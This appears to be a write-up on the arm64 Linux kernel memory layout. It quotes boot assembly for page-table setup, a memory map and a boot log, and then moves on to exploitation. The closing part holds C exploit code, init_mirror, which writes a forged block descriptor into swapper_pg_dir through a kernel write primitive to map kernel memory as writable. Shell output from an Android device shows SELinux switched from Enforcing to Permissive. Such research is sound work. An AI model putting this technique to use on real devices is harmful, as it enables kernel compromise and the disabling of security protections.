ENTRY(stext)
    bl  preserve_boot_args
    bl  el2_setup           // Drop to EL1, w20=cpu_boot_mode
    adrp    x24, __PHYS_OFFSET
    bl  set_cpu_boot_mode_flag

    bl  __vet_fdt
    bl  __create_page_tables        // x25=TTBR0, x26=TTBR1
    /*
     * The following calls CPU setup code, see arch/arm64/mm/proc.S for
     * details.
     * On return, the CPU will be ready for the MMU to be turned on and
     * the TCR will have been set.
     */
    ldr x27, =__mmap_switched       // address to jump to after
                        // MMU has been enabled
    adr_l   lr, __enable_mmu        // return (PIC) address
    b   __cpu_setup         // initialise processor
ENDPROC(stext)

/*
 * Setup the initial page tables. We only setup the barest amount which is
 * required to get the kernel running. The following sections are required:
 *   - identity mapping to enable the MMU (low address, TTBR0)
 *   - first few MB of the kernel linear mapping to jump to once the MMU has
 *     been enabled, including the FDT blob (TTBR1)
 *   - pgd entry for fixed mappings (TTBR1)
 */
__create_page_tables:
    adrp    x25, idmap_pg_dir
    adrp    x26, swapper_pg_dir
    mov x27, lr
	// ...
    mov lr, x27
    ret
ENDPROC(__create_page_tables)

/*
 * Macro to create a table entry to the next page.
 *
 *  tbl:    page table address
 *  virt:   virtual address
 *  shift:  #imm page table shift
 *  ptrs:   #imm pointers per table page
 *
 * Preserves:   virt
 * Corrupts:    tmp1, tmp2
 * Returns: tbl -> next level table page address
 */
    .macro  create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2
    lsr \tmp1, \virt, #\shift
    and \tmp1, \tmp1, #\ptrs - 1    // table index
    add \tmp2, \tbl, #PAGE_SIZE
    orr \tmp2, \tmp2, #PMD_TYPE_TABLE   // address of next table and entry type
    str \tmp2, [\tbl, \tmp1, lsl #3]
    add \tbl, \tbl, #PAGE_SIZE      // next level table page (注：因此连续两次调用所创建的列表是连续的)
    .endm

/*
 * Macro to populate the PGD (and possibily PUD) for the corresponding
 * block entry in the next level (tbl) for the given virtual address.
 *
 * Preserves:   tbl, next, virt
 * Corrupts:    tmp1, tmp2
 */
    .macro  create_pgd_entry, tbl, virt, tmp1, tmp2
    create_table_entry \tbl, \virt, PGDIR_SHIFT, PTRS_PER_PGD, \tmp1, \tmp2
#if SWAPPER_PGTABLE_LEVELS == 3
    create_table_entry \tbl, \virt, SWAPPER_TABLE_SHIFT, PTRS_PER_PTE, \tmp1, \tmp2
#endif
    .endm

/*
 * Macro to populate block entries in the page table for the start..end
 * virtual range (inclusive).
 *
 * Preserves:   tbl, flags
 * Corrupts:    phys, start, end, pstate
 */
    .macro  create_block_map, tbl, flags, phys, start, end
    lsr \phys, \phys, #SWAPPER_BLOCK_SHIFT
    lsr \start, \start, #SWAPPER_BLOCK_SHIFT
    and \start, \start, #PTRS_PER_PTE - 1   // table index
    orr \phys, \flags, \phys, lsl #SWAPPER_BLOCK_SHIFT  // table entry
    lsr \end, \end, #SWAPPER_BLOCK_SHIFT
    and \end, \end, #PTRS_PER_PTE - 1       // table end index
9999:   str \phys, [\tbl, \start, lsl #3]       // store the entry
    add \start, \start, #1          // next entry
    add \phys, \phys, #SWAPPER_BLOCK_SIZE       // next block
    cmp \start, \end
    b.ls    9999b
    .endm

/*
 * Enable the MMU.
 *
 *  x0  = SCTLR_EL1 value for turning on the MMU.
 *  x27 = *virtual* address to jump to upon completion
 *
 * other registers depend on the function called upon completion
 */
__enable_mmu:
    ldr x5, =vectors
    msr vbar_el1, x5
    msr ttbr0_el1, x25          // load TTBR0
    msr ttbr1_el1, x26          // load TTBR1
    isb
    msr sctlr_el1, x0
    isb
    /*
     * Invalidate the local I-cache so that any instructions fetched
     * speculatively from the PoC are discarded, since they may have
     * been dynamically patched at the PoU.
     */
    ic  iallu
    dsb nsh
    isb
    br  x27
ENDPROC(__enable_mmu)

-------------------------x--------x--------x--------x-----------
1111111111111111111111111100000000000000000101110101011101110000

AArch64 Linux memory layout with 4KB pages:
Start            End            Size        Use
-----------------------------------------------------------------------
0000000000000000    0000007fffffffff     512GB        user
ffffff8000000000    ffffffbbfffeffff    ~240GB        vmalloc
ffffffbbffff0000    ffffffbbffffffff      64KB        [guard page]
ffffffbc00000000    ffffffbdffffffff       8GB        vmemmap
ffffffbe00000000    ffffffbffbbfffff      ~8GB        [guard, future vmmemap]
ffffffbffa000000    ffffffbffaffffff      16MB        PCI I/O space
ffffffbffb000000    ffffffbffbbfffff      12MB        [guard]
ffffffbffbc00000    ffffffbffbdfffff       2MB        fixed mappings
ffffffbffbe00000    ffffffbffbffffff       2MB        [guard]
ffffffbffc000000    ffffffbfffffffff      64MB        modules
ffffffc000000000    ffffffffffffffff     256GB        kernel logical memory map

# The byte offset of the kernel image in RAM from the start of RAM.
ifeq ($(CONFIG_ARM64_RANDOMIZE_TEXT_OFFSET), y)
TEXT_OFFSET := $(shell awk 'BEGIN {srand(); printf "0x%03x000\n", int(512 * rand())}')
else
TEXT_OFFSET := 0x00080000
endif

pwndbg> p/x memstart_addr
$2 = 0x40000000

Memory: 2055232K/2097152K available (5455K kernel code, 326K rwdata, 1872K rodata, 232K init, 482K bss, 41920K reserved)
Virtual kernel memory layout:
    vmalloc : 0xffffff8000000000 - 0xffffffbdffff0000   (   247 GB)
    vmemmap : 0xffffffbe00000000 - 0xffffffbfc0000000   (     7 GB maximum)
              0xffffffbe00000000 - 0xffffffbe01c00000   (    28 MB actual)
    PCI I/O : 0xffffffbffa000000 - 0xffffffbffb000000   (    16 MB)
    fixed   : 0xffffffbffbdfd000 - 0xffffffbffbdff000   (     8 KB)
    modules : 0xffffffbffc000000 - 0xffffffc000000000   (    64 MB)
    memory  : 0xffffffc000000000 - 0xffffffc080000000   (  2048 MB)
      .init : 0xffffffc0007b0000 - 0xffffffc0007ea000   (   232 KB)
      .text : 0xffffffc000080000 - 0xffffffc0005d5c70   (  5464 KB)
      .data : 0xffffffc0007fa000 - 0xffffffc00084ba00   (   327 KB)

void init_mirror(uintptr_t kernel_phys, uintptr_t mirror_base, int fd) {
    /* one kernel write primitive to grant new mirror virtual space
     * 1. calculate d_block_addr
     * 2. prepare d_block (int64)
     * 3. write d_block to d_block_addr
     * */
    uintptr_t d_block_addr;
    uintptr_t d_block;

    int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
    d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8;  // target Table Descriptor Address
    pz_log("descriptor: 0x%lx + %d x 8 = 0x%lx", SYMBOL__swapper_pg_dir, index1, d_block_addr);

    d_block = 0;
    d_block |= 0x1 ; // Block entry
    /* Lower attributes */
    d_block |= (1u << 11); // bits[11], nG
    d_block |= (1u << 10); // bits[10], AF
    d_block |= (1u << 9); // bits[9], SH[1]
    d_block |= 0x40; // bits[7:6], AP[2:1] = 01
    d_block |= 0x20; // bits[5], NS
    d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
    d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
    /* Upper attributes */
    d_block |= (1ul << 52); // bits[52], Contiguous
    d_block |= (1ul << 53); // bits[53], PXN
    d_block |= (1ul << 54); // bits[54], XN

    pz_log("d_block = 0x%lx", d_block);
    pz_write(fd, (void *)d_block_addr, &d_block, 8);
}

generic_arm64:/data/local/tmp # getenforce
Enforcing
generic_arm64:/data/local/tmp # ./test_ksma
[+] descriptor: 0xffffffc0008c8000 + 264 x 8 = 0xffffffc0008c8840
[+] d_block = 0x70000040000e71
[+] vaddr 0xffffffc00088b11c TTBR1 L0=0x1ff L1=0x100 L2=0x4 L3=0x8b OFF=0x11c
[+] vaddr 0xffffffc20088b11c TTBR1 L0=0x1ff L1=0x108 L2=0x4 L3=0x8b OFF=0x11c
[+] addr   0xffffffc00088b11c  --> 0x100000001
[+] mirror 0xffffffc20088b11c  --> 0x100000001
[+] directly write mirror
[+] addr   0xffffffc00088b11c  --> 0x100000000
[+] mirror 0xffffffc20088b11c  --> 0x100000000
generic_arm64:/data/local/tmp # getenforce
Permissive